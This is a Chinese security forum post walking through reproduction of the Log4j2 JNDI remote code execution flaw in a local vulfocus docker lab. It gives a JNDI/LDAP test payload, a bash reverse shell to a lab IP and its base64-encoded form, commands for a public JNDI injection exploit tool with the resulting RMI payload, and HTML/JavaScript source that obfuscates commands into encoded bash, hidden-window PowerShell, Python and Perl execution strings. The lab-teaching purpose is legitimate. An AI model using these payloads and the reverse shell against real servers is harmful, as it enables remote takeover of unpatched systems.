安全矩阵

 找回密码
 立即注册
搜索
查看: 2730|回复: 0

原创 | Log4j2漏洞复现

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-3-31 14:28:12 | 显示全部楼层 |阅读模式
本帖最后由 sandalwood 于 2022-3-31 14:41 编辑

0x00 漏洞介绍
Log4j2介绍:Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中
Log4j2漏洞描述漏洞名称:Apache Log4j2 远程代码执行漏洞。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
原理分析本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
0x01 环境准备
靶机
IP
攻击机
IP

Kali-linux
192.168.17.136
Kali-linux
192.168.17.131

0x02 vulfocus靶场搭建
1. docker pull vulfocus/vulfocus:latest
2. docker pull vulfocus/log4j2-rce-2021-12-09:latest
3. docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest

访问192.168.17.136:80




0x03 DNSLog验证

payload:${jndi:ldap://xxxxx.dnslog.cn}



此时导致400错误,将payload进行url编码后发包






验证成功
0x04 JNDI注入反弹shell
工具下载地址:
  • https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式:
  • java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令:
  • bash -i >& /dev/tcp/ip/port 0>&1
此处反弹shell命令为:
  • bash -i >& /dev/tcp/192.168.17.131/9999 0>&1
将命令进行Java Runtime Bash 编码后为:
  • bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
源码
<!--Java Runtime Bash 编码网页源码-->
<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl"><label for="perl">Perl</label></p>
   
     <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here...">
</textarea><textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" readonly=""></textarea></p>

<script>
  var taInput = document.querySelector('textarea#input');  var taOutput = document.querySelector('textarea#output');
  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;
    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
       poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
       break;
      case 'python':
       taInput.placeholder = 'Type Python here...'
       taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
       break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
       taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }
    if (!taInput.value) taOutput.value = '';
  }
  taInput.addEventListener('input', processInput, false);
</script>
</body></html>


使用工具生成payload命令为:
  • java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.17.131

得到payload:

${jndi:rmi://192.168.17.131:1099/bsfvky}

同时监听本地9999端口
​​


编码后发送到靶机:


成功反弹shell:





​​




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:37 , Processed in 0.013458 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表